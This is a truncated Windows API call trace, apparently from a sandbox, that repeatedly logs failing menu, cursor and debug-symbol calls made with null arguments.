0 [0140.998] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.998] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.998] GetLastError () returned 0x579 [0140.998] SetLastError (dwErrCode=0x579) [0140.998] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.998] SymCleanup (hProcess=0x0) returned 0 [0140.998] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.998] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.998] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.998] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.998] GetLastError () returned 0x579 [0140.998] SetLastError (dwErrCode=0x579) [0140.998] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.998] SymCleanup (hProcess=0x0) returned 0 [0140.998] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.998] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.998] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.998] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.998] GetLastError () returned 0x579 [0140.998] SetLastError (dwErrCode=0x579) [0140.998] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.999] SymCleanup (hProcess=0x0) returned 0 [0140.999] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.999] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.999] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.999] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1128, param_4=385, param_5=0x0, param_6=0x0) returned 0 [0140.999] GetLastError () returned 0x579 [0140.999] SetLastError (dwErrCode=0x579) [0140.999] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.999] SymCleanup (hProcess=0x0) returned 0 [0140.999] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.999] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.999] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.999] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.999] GetLastError () returned 0x579 [0140.999] SetLastError (dwErrCode=0x579) [0140.999] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.999] SymCleanup (hProcess=0x0) returned 0 [0140.999] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.999] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.999] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.999] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.999] GetLastError () returned 0x579 [0140.999] SetLastError (dwErrCode=0x579) [0140.999] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.999] SymCleanup (hProcess=0x0) returned 0 [0140.999] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.000] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.000] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.000] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.000] GetLastError () returned 0x579 [0141.000] SetLastError (dwErrCode=0x579) [0141.000] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.000] SymCleanup (hProcess=0x0) returned 0 [0141.000] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.000] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.000] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.000] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.000] GetLastError () returned 0x579 [0141.000] SetLastError (dwErrCode=0x579) [0141.000] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.000] SymCleanup (hProcess=0x0) returned 0 [0141.000] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.000] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.000] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.000] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1365, param_4=824, param_5=0x0, param_6=0x0) returned 0 [0141.000] GetLastError () returned 0x579 [0141.000] SetLastError (dwErrCode=0x579) [0141.000] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.000] SymCleanup (hProcess=0x0) returned 0 [0141.000] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.000] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.000] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.001] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.001] GetLastError () returned 0x579 [0141.001] SetLastError (dwErrCode=0x579) [0141.001] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.001] SymCleanup (hProcess=0x0) returned 0 [0141.001] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.001] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.001] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.001] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.001] GetLastError () returned 0x579 [0141.001] SetLastError (dwErrCode=0x579) [0141.001] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.001] SymCleanup (hProcess=0x0) returned 0 [0141.001] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.001] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.001] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.001] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.001] GetLastError () returned 0x579 [0141.001] SetLastError (dwErrCode=0x579) [0141.001] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.001] SymCleanup (hProcess=0x0) returned 0 [0141.001] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.001] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.001] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.002] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.002] GetLastError () returned 0x579 [0141.002] SetLastError (dwErrCode=0x579) [0141.002] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.002] SymCleanup (hProcess=0x0) returned 0 [0141.002] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.002] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.002] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.002] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1254, param_4=888, param_5=0x0, param_6=0x0) returned 0 [0141.002] GetLastError () returned 0x579 [0141.002] SetLastError (dwErrCode=0x579) [0141.002] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.002] SymCleanup (hProcess=0x0) returned 0 [0141.002] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.002] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.002] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.002] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.002] GetLastError () returned 0x579 [0141.002] SetLastError (dwErrCode=0x579) [0141.002] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.002] SymCleanup (hProcess=0x0) returned 0 [0141.002] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.002] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.002] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.002] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.003] GetLastError () returned 0x579 [0141.003] SetLastError (dwErrCode=0x579) [0141.003] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.003] SymCleanup (hProcess=0x0) returned 0 [0141.003] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.003] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.003] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.003] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.003] GetLastError () returned 0x579 [0141.003] SetLastError (dwErrCode=0x579) [0141.003] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.003] SymCleanup (hProcess=0x0) returned 0 [0141.003] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.003] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.003] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.003] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0141.003] GetLastError () returned 0x579 [0141.003] SetLastError (dwErrCode=0x579) [0141.003] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.003] SymCleanup (hProcess=0x0) returned 0 [0141.003] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.003] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.003] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.003] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=397, param_4=226, param_5=0x0, param_6=0x0) returned 0 [0141.003] GetLastError () returned 0x579 [0141.004] SetLastError (dwErrCode=0x579) [0141.004] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.004] SymCleanup (hProcess=0x0) returned 0 [0141.004] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.004] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.004] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.004] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.004] GetLastError () returned 0x579 [0141.004] SetLastError (dwErrCode=0x579) [0141.004] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.004] SymCleanup (hProcess=0x0) returned 0 [0141.004] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.004] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.004] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.004] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.004] GetLastError () returned 0x579 [0141.004] SetLastError (dwErrCode=0x579) [0141.004] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.004] SymCleanup (hProcess=0x0) returned 0 [0141.004] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.004] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.004] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.004] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.004] GetLastError () returned 0x579 [0141.004] SetLastError (dwErrCode=0x579) [0141.005] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.005] SymCleanup (hProcess=0x0) returned 0 [0141.005] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.005] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.005] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.005] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.005] GetLastError () returned 0x579 [0141.005] SetLastError (dwErrCode=0x579) [0141.005] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.005] SymCleanup (hProcess=0x0) returned 0 [0141.005] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.005] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.005] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.005] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=280, param_4=565, param_5=0x0, param_6=0x0) returned 0 [0141.005] GetLastError () returned 0x579 [0141.005] SetLastError (dwErrCode=0x579) [0141.005] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.005] SymCleanup (hProcess=0x0) returned 0 [0141.005] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.005] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.005] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.005] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.005] GetLastError () returned 0x579 [0141.005] SetLastError (dwErrCode=0x579) [0141.005] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.006] SymCleanup (hProcess=0x0) returned 0 [0141.006] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.006] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.006] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.006] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0141.006] GetLastError () returned 0x579 [0141.006] SetLastError (dwErrCode=0x579) [0141.006] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.006] SymCleanup (hProcess=0x0) returned 0 [0141.006] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.006] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.006] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.006] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.006] GetLastError () returned 0x579 [0141.006] SetLastError (dwErrCode=0x579) [0141.006] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.006] SymCleanup (hProcess=0x0) returned 0 [0141.006] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.006] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.006] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.006] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0141.006] GetLastError () returned 0x579 [0141.006] SetLastError (dwErrCode=0x579) [0141.006] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.006] SymCleanup (hProcess=0x0) returned 0 [0141.006] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.007] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.007] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.007] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=59, param_4=544, param_5=0x0, param_6=0x0) returned 0 [0141.007] GetLastError () returned 0x579 [0141.007] SetLastError (dwErrCode=0x579) [0141.007] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.007] SymCleanup (hProcess=0x0) returned 0 [0141.007] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.007] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.007] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.007] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.007] GetLastError () returned 0x579 [0141.007] SetLastError (dwErrCode=0x579) [0141.007] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.007] SymCleanup (hProcess=0x0) returned 0 [0141.007] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.007] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.007] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.007] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.007] GetLastError () returned 0x579 [0141.007] SetLastError (dwErrCode=0x579) [0141.007] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.007] SymCleanup (hProcess=0x0) returned 0 [0141.007] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.007] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.007] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.008] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.008] GetLastError () returned 0x579 [0141.008] SetLastError (dwErrCode=0x579) [0141.008] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.008] SymCleanup (hProcess=0x0) returned 0 [0141.008] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.008] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.008] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.013] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.013] GetLastError () returned 0x579 [0141.013] SetLastError (dwErrCode=0x579) [0141.013] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.013] SymCleanup (hProcess=0x0) returned 0 [0141.013] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.013] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.013] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.013] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1133, param_4=235, param_5=0x0, param_6=0x0) returned 0 [0141.013] GetLastError () returned 0x579 [0141.013] SetLastError (dwErrCode=0x579) [0141.013] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.013] SymCleanup (hProcess=0x0) returned 0 [0141.013] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.013] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.013] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.013] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.013] GetLastError () returned 0x579 [0141.014] SetLastError (dwErrCode=0x579) [0141.014] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.014] SymCleanup (hProcess=0x0) returned 0 [0141.014] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.014] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.014] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.014] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.014] GetLastError () returned 0x579 [0141.014] SetLastError (dwErrCode=0x579) [0141.014] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, 